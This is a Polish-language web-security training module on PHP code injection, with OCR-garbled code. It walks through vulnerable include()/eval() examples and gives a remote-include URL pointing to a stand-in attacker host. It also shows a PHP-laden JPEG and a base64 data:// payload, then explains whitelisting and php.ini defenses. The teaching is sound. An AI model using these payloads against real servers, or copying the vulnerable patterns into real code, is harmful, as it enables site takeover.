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Modut 11

PHP injection

Opis ataku

W kazdym jezyku istnieja funkcje pozwalajace na wykonanie zewnetrznego
kodu. W PHP moga to by¢ require(), include(), eval () ipreg_replace()
z modyfikatorem /e, ktdry traktuje zastepczy tancuch znakéw jako kod PHP.
Jezeli do ktdrejs z takich funkcji wedruja dane od uzytkownika, mozliwe jest
wstrzykniecie kodu PHP.

Rozwazmy ponizszy przyklad. Jezeli kto$ posiada skonfigurowany serwer www
zaopatrzony w PHP moze przetestowal ten atak samodzielnie. Jak widzimy
zawarto$¢ zmiennej o nazwie file pobieranej metoda GET jest przekazywana
do funkcji include(). Jest to razacy blad, ktéry mozna wykorzysta¢ na wiele
sposobdw.

<?xml version="1.0" encoding="UTF-8"?>
<IDOCTYPE html
PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
"http://www.w3.0org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlIns="http://www.w3.0rg/1999/xhtml" xml:lang="pl" lang="pl">
<head>
<title>PHP injection</title>
</head>
<body>
<A href="index.php?file=welcome.php&img=welcome.jpg">Main Page</A>
<A href="index.php?file=contact.php&img=contact.jpg">Contact</A>
<A href="index.php?file=index.php&img=greetings.jpg&action=report">Problem on
page?</A>

<?php
function report() {
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return mail('admin@strona.com', 'Automatic error report’, 'User encountered problem
with'. SHTTP_REFERER);
}
if (lisset(S_GET["file"]))
include("welcome.php");
else
include(S_GET["file"]);
if (isset(S_GET['action']))
eval ("S_GET['action']();");
?>
</body>
</html>

Jezeli wywolamy taka strone w nastepujacy sposob mamy mozliwos¢
wykonania wszystkiego, na co pozwala nam PHP (co najmniej pelna kontrola
nad witryna).

http://127.0.0.1/index.php?file=http://hacker.evil.com/php_kit.php

Jako parametr funkcji include przekazujemy zdalng lub lokalna $ciezke
prowadzaca do zlosliwego kodu, ktéry ma zosta¢ wykonany przez atakowany
serwer. Identycznie dziala funkcja require(), a wiec w celu jej wykorzystania
podmieniamy w powyzszej przykladowej stronie include() na require(). W
konfiguracji PHP istnieje opcja allow_url_fopen, ktoéra zablokuje dostep
funkcji file_get_contents, fopen, include, require itp. do plikow na
zewnetrznych serwerach. Moze by¢ to dobrym wsparciem, jednak nie powinno
by¢ glowna linia obrony, gdyz wlamywacz moze probowac dolaczy¢ pliki
dostepne lokalnie na atakowanym serwerze (np. na innej stronie internetowe;
hostowanej na tym serwerze, w spreparowanym obrazku z wbudowanym
kodem PHP badz nawet w pliku sesji).

Funkcja eval () wykonuje kod zawarty w jej argumencie.

Obrona przed tymi atakami jest taka sama, jak w przypadku atakéw path
traversal — najlepsza obrong przed tego typu atakami jest nieprzekazywanie
bezposrednio wejscia wprowadzonego przez uzytkownika do funkgji
wykonujacych kod. Jezeli jednak zaistnieje taka potrzeba, warto rozwazy¢
whitelisting jak w nastepujacym przykladzie.
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<?xml version="1.0" encoding="UTF-8"?>
<IDOCTYPE html
PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmIns="http://www.w3.0rg/1999/xhtml" xml:lang="pl" lang="pI">
<head>
<title>PHP injection</title>
</head>
<body>
<A href="index.php?file=welcome&img=welcome">Main Page</A>
<A href="index.php?file=contact&img=contact">Contact</A>
<A href="index.php?file=index&img=greetings&action=report">Problem on page?</A>
<?php
function report() {
return mail(‘admin@strona.com', 'Automatic error report', 'User encountered problem
with'. $HTTP_REFERER);
}
Sfiles = array("index", "welcome", "contact");
Sfunctions = array("report");
if (lisset(S_GET["file"]))
include("welcome.php");
else if (in_array(S_GET["file"], Sfiles))
include(S_GET['file'].".php");
if (in_array($_GET['action'], $functions))
eval ("S_GET['action']();");
>
</body>
</html>

Konieczne jest rowniez filtrowanie wejsciowych ciaggdw. Pamietajmy réwniez,
ze konfiguracja serwera moze by¢ pomocna, jednak nie powinna by¢
traktowana, jako niezawodny sposdb na zabezpieczenie przed atakami.

Qd
Praktyka - zapis modutu video e

Witam w module jedenastym. W tej czgsci omowimy podatnos$¢ typu PHP
injection. O podatnosci PHP injection moéwimy, gdy uzytkownik
zmieniajac parametry przekazywane do aplikacji internetowej, moze
uruchomic¢ swdj zlosliwy kod PHP. Do takiej sytuacji moze dojs¢ wéwczas, gdy
parametry przekazywane od uzytkownika dostaja si¢ do funkcji PHP,
umozliwiajacych posrednie lub bezposrednie uruchomienie kodu PHP.
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Pierwsza grupa takich funkgcji jest rodzina funkcji include, czyli include,
require, require_once, ktore zalaczaja i parsuja plik zawierajacy kod PHP.
Druga funkcja tego typu jest funkcja eval, ktora parsuje i wykonuje
dostarczony ciag znakdw. Trzecia funkcja to preg_replace stuzaca do
sprawdzania wyrazen regularnych. Mozna do niej przekaza¢ parametr e, ktdry
umozliwia uruchomienie kodu PHP dostarczonego w czg$ci wyrazenia
regularnego. Dwie ostatnie funkcje sa bardzo rzadko wykorzystywane w
normalnych aplikacjach internetowych, dlatego skupimy si¢ na pierwszej z

nich.

Zobaczmy przykladowy kod zrédlowy, ktéry pomoze zobrazowac to zjawisko.

<html>
<head>
<title>Test page</title>
</head>
<body>

<?php
if (isset(S_GET['site']))
Ssite =$S_GET['site'];
else
Ssite = 'main.txt’;
include(Ssite);
?>
<br />
<a href="index.php?site=main.txt" />Main page</a> <br />

<a href="index.php?site=page2.txt" />Page 2</a> <br />

</body>
</html>

Widzimy tutaj prosty skrypt PHP, w ktérym od uzytkownika pobierana jest
zmienna site, okreslajaca, jaka strona ma zosta¢ dofaczona funkcja include.
W zaleznosci od tego, jaki plik zostanie dostarczony w parametrze, zmieniana
jest tre§¢ strony.
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Jak mozemy zobaczy¢, parametry pobierane od uzytkownika nie s3 w Zaden
sposob filtrowane i uzytkownik ma praktycznie pelna kontrole nad nazwa
dolaczanego pliku. Zobaczmy dzialanie serwisu w praktyce. Mozemy porusza¢
sie po stronie internetowej, a w pasku adresu zmienia si¢ nazwa pliku z
zawarto$cia.

(- | = E localhost/security/11/index.php
\_A—
Main page

Main pa
Page 2 i]

Zalézmy teraz, ze na atakowany serwer udalo si¢ wlamywaczowi przemycié
plik z kodem PHP. Moze si¢ to wydawa¢ sytuacja dos¢ abstrakcyjna — na pewno
zablokowana jest mozliwo$¢ uploadowania plikéw o rozszerzeniu PHP, badz
serwis w ogole nie akceptuje plikow od uzytkownika. Czesto zdarza si¢ jednak,
ze serwisy umozliwiaja wgrywanie wlasnych avatardw, zdje¢ czy innych
plikéw graficznych. Zastanéwmy sie wiec, czy w przypadku kiedy taki plik
sprawdzany jest poda katem poprawnosci, da si¢ w nim przemyci¢ kod PHP.

Widzimy tutaj spreparowany obrazek, ktory wyglada jak zwykly plik JPEG.
Wyswietla si¢ jego zawarto$¢ i wszystkie funkcje operujace na obrazkach
zinterpretuja go jako poprawny plik graficzny. Zobaczmy jednak, co kryje tres¢
tego pliku.
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=l indexphp | = phpdogo-vius jpg ‘EI php.in l
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Widzimy tutaj, Ze zaszyty zostal kod PHP. Sprébujmy przekazacé go w adresie.

€ D localhost/security/11/index.php?site=php-logo-virus.jpg

THIS IMAGE COULD ERASE YOUR WAWW ACCOUNT, it shows you the PHP info instead...

Ib PHP Version 5.3.5

Jak widzimy kod umieszczony w obrazku zostal wykonany. W przypadku,
kiedy aplikacja w ogoéle nie umozliwia uploadowania plikéw, wlamywacz ma
jeszcze inne mozliwosci.

PHP przy operacjach na plikach, na przyklad przy includowaniu, umozliwia
podanie nie tylko bezposrednich odniesien do plikow, ale rowniez korzystanie
z protokoléw - jak na przyklad ftp, http czy protokotu specjalnego data. W
przypadku protokolu data, mozliwe jest przekazanie zawartosci pliku w
parametrach odwolania do tego protokolu, poniewaz plik taki tworzony jest
niejako w locie. Dane te kodowane sa metoda base64.

Skorzystamy z encodera online, aby wygenerowa¢ zakodowany ciag.
Sprébujmy zakodowac taki ciag znakéw. Daje nam to ciag zakodowany w
base64. Korzystamy ze skladni strumienia specjalnego data i wklejamy
zakodowany kod PHP. Jak widzimy kod zostal wykonany.
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| (- | [ localhost/security/11/index.php?site=data:; basebd, PDIwaHAgcGhwaWsmbygpOyA/Pg==
b S

Zastanéwmy si¢ teraz, w jaki sposéb mozemy chroni¢ si¢ przed tym bardzo
groznym atakiem. Pierwsza rzecza jest mozliwos¢ zmiany konfiguracji w pliku
php.ini. Istnieje opcja allow_url_include, ktéra umozliwia wlaczenie i
wylaczenie includowania plikéw specjalnych, dostepnych za posrednictwem
wspomnianych protokotéw. Po jej wylaczeniu musimy zrestartowac serwer,
aby wprowadzone zmiany odniosly skutek. Jak widzimy, tym razem atak nie
powiddl sie, bo opcje zostaly wylaczone.

| (- | [ localhost/security/11/index.phpisite=data:; basebd, PDIwaHAg cGhwaW5mbygpOyA/Pg==
[

Atak z obrazkiem jednak caly czas dziata. Jak widzimy przyczyna probleméw
jest to, ze uzytkownik ma praktycznie pelna kontrole nad ciagiem znakow
przekazywanym do funkgji include. Pierwsza rzecza, jaka mozemy zrobic, jest
ustawienie na sztywno rozszerzenia zalaczanego pliku. W ten sposéb
pozbawili$my wlamywacza mozliwo$ci manipulowania rozszerzeniem.
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< ?php

5 if (isset(§ GET['site']))

10 fsite = § GET['=zite'];
11 elze

12 Zzite = 'main';

14 dnclude (Ssite.'.txt'):

16 e I

18 <br />

129 «a href="index.php?site=main" />Main page</a> <br />
20 <a href="index.php?site=pageZ" />Page 2</a> <br />

Obrazek tym razem nie zostal zaincludowany.

L D localhest/security/11/index.php?site= php-logo-virus.jp

" -
™

[T=]

Main page
Page 2

Warto powiedzie¢ tutaj, ze od wersji PHP 5.3 taka forma kontroli rozszerzenia
jest wystarczajaca, jednak w poprzednich wersjach mozliwe byto
wykorzystanie znaku specjalnego %00. Znak bajtu zerowego, czyli konca
tancucha, umieszczany byl w docelowym ciagu znakéw przekazywanym do
funkcji systemowych, co powodowato wyciecie dodawanego przez programiste
rozszerzenia. Z racji duzej ilosci tego typu atakéw i rzadkiej potrzeby
umieszczania w parametrach pobieranych od uzytkownika znaku %00, jest on
blokowany.

Mozemy réwniez okresli¢ katalog, w ktérym operowa¢ bedzie funkcja
include, co uniemozliwi kontrolowanie poczatku nazwy pliku i zablokuje
mozliwo$¢ uzycia protokoléw specjalnych. Kolejng rzecza, jaka powinni§my
zrobi¢, jest skorzystanie z funkcji preg_replace, aby usuna¢ znaki . i /, co
uniemozliwi atakujacemu kontrole nad $ciezka includowania.
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Najlepszym zabezpieczeniem wydaje si¢ jednak przygotowanie listy plikow,
ktérych includowane jest dozwolone i blokowanie wszelkich innych odwotan.
Gdy nie mozemy jednak pozwoli¢ sobie na takie rozwiazanie, musimy jak
najbardziej ograniczy¢ potencjalnemu wlamywaczowi pole dzialania i filtrowa¢
dane wejsciowe.

To juz wszystko w module jedenastym. Dzigkuje za uwage i zapraszam do
kolejnej czesci, w ktérej dowiemy sie wiecej na temat techniki bezposredniego
wstrzykniecia kodu statycznego. Do zobaczenia.
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